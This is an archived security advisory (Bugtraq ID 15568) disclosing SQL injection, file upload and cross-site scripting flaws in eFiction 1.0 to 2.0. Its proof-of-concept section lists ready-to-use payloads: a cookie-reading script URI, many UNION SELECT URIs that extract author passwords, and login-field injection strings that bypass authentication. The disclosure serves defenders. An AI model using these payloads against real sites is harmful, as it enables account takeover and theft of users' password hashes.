eFiction Multiple Input Validation Vulnerabilities

BID:15568

Info

eFiction Multiple Input Validation Vulnerabilities

Bugtraq ID: 15568
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Nov 25 2005 12:00AM
Updated: Nov 25 2005 12:00AM
Credit: retrogod is credited with the discovery of these vulnerabilities.
Vulnerable: eFiction Project eFiction 2.0
eFiction Project eFiction 1.1
eFiction Project eFiction 1.0
Not Vulnerable:

Discussion

eFiction Multiple Input Validation Vulnerabilities

eFiction is prone to SQL injection, remote file upload, and cross site scripting vulnerabilities.

These vulnerabilities may allow an attacker to view and modify sensitive information, gain unauthorized access, modify and corrupt the underlying database application, and obtain a victim's authentication credentials.

eFiction versions 1.0, 1.1 and 2.0 are reported to be vulnerable; other versions may also be affected.

Exploit / POC

eFiction Multiple Input Validation Vulnerabilities

No exploit is required.

The following URI have been provided:

http://www.example.com/efiction/titles.php?action=viewlist&let=<script>alert(document.cookie)</script>

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,'<script>alert(document.cookie)</script>'
,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/authors.php?action=viewlist&let='%20UNION%20SELECT%20password,0%20FROM%20fanfiction_authors/*
http://www.example.com/[path]/authors.php?action=viewlist&let=%27%20UNION%20SELECT%20password,password%20FROM%20efiction_fanfiction_authors/*&offset=0,40/*
http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*
http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*
http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,penname,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20password,0,0,0,0,0,penname,0,0,0,0,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%20penname,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*

http://www.example.com/[path]/viewuser.php?uid='UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,password,0,0,0,0%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20FROM%20efiction_fanfiction_authors%20/*

http://www.example.com/[path]/viewstory.php?sid='%20UNION%20SELECT%20penname,penname,password,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname,penname%20FROM%20fanfiction_authors%20/*

http://www.example.com/[path]/titles.php?action=viewlist&let='%20UNION%20SELECT%200,0,password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,penname,0%20FROM%20fanfiction_authors%20/*

username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email FROM fanfiction_authors where level=1/*
password: [nothing]

username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email,categories FROM fanfiction_authors where level=1/*
password: [nothing]

username: 'UNION SELECT 'd41d8cd98f00b204e9800998ecf8427e',penname,uid,userskin,level,email,categories,ageconsent FROM fanfiction_authors where level=1/*
password: [nothing]

Solution / Fix

eFiction Multiple Input Validation Vulnerabilities

Solution:
The vendor has released a fix to resolve these issues; please see the references section for further details.

References

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